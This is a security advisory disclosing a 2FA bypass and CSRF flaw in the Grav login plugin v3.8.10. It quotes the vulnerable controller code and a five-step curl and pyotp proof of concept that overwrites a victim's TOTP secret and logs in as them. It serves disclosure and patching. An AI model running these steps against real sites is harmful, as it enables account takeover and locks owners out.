GHSA-7mgc-c7pq-3rr3: CSRF

Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php

php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }

3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.

bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656

Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"

Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout

Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.